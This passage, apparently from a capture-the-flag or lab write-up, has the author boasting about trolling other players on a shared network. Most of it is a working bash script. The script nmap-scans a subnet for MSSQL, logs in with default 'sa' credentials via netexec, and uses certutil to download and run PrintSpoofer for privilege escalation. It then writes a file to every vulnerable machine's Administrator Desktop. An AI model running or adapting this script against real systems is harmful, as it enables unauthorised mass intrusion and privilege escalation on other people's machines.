I also modified PrintSpoofer.exe source-code and recompiled it to execute hard-coded commands.

> And yeah that was me xD that created the file in the Administrator´s Desktop along side the `root.txt` in all machines vulnerable on the `network`

```
HELLO_MY_FRIEND_JustTrollinYouByDanilo.txt
```

Curious how I did that? xD
well, I just wrote a `netexec` command first, then wrap it in a `for` loop that gets feed IPs from `nmap`

Bellow are 2 methods:

- Standard PrintSpoofer.exe creating a file
- Modified PrinttSpoofer.exe with Automatic Command execution for the troll file

```bash
#!/bin/bash

# troll people by creating a file in the C:\Users\Administrator\Desktop

# nmap on the subnet, filter by IPs only
sudo nmap --open -p1433 10.10.0.0/24 | grep 10.10.0 | awk '{print $NF}' > ipMSSQL.txt &&

for IP in $(cat ipMSSQL.txt); do
    netexec mssql $IP -u 'sa' -p 'Pass@123' -x 'certutil.exe -urlcache -split -f https://github.com/k4sth4/PrintSpoofer/raw/main/PrintSpoofer.exe C:\Windows\tasks\Printspoofer.exe && C:\Windows\tasks\Printspoofer.exe -c "powershell.exe -c echo > C:\Users\Administrator\Desktop\HELLO_MY_FRIEND_JustTrollinYouByDanilo.txt"' --local-auth

    # If we compile the PrintSpoofer with the custom OS command...
    # netexec mssql $IP -u 'sa' -p 'Pass@123' -x 'certutil.exe -urlcache -split -f https://github.com/k4sth4/PrintSpoofer/raw/main/PrintSpoofer.exe C:\Windows\tasks\PrintSpooferTROLLL.exe && C:\Windows\tasks\PrintSpooferTROLLL.exe'
done
```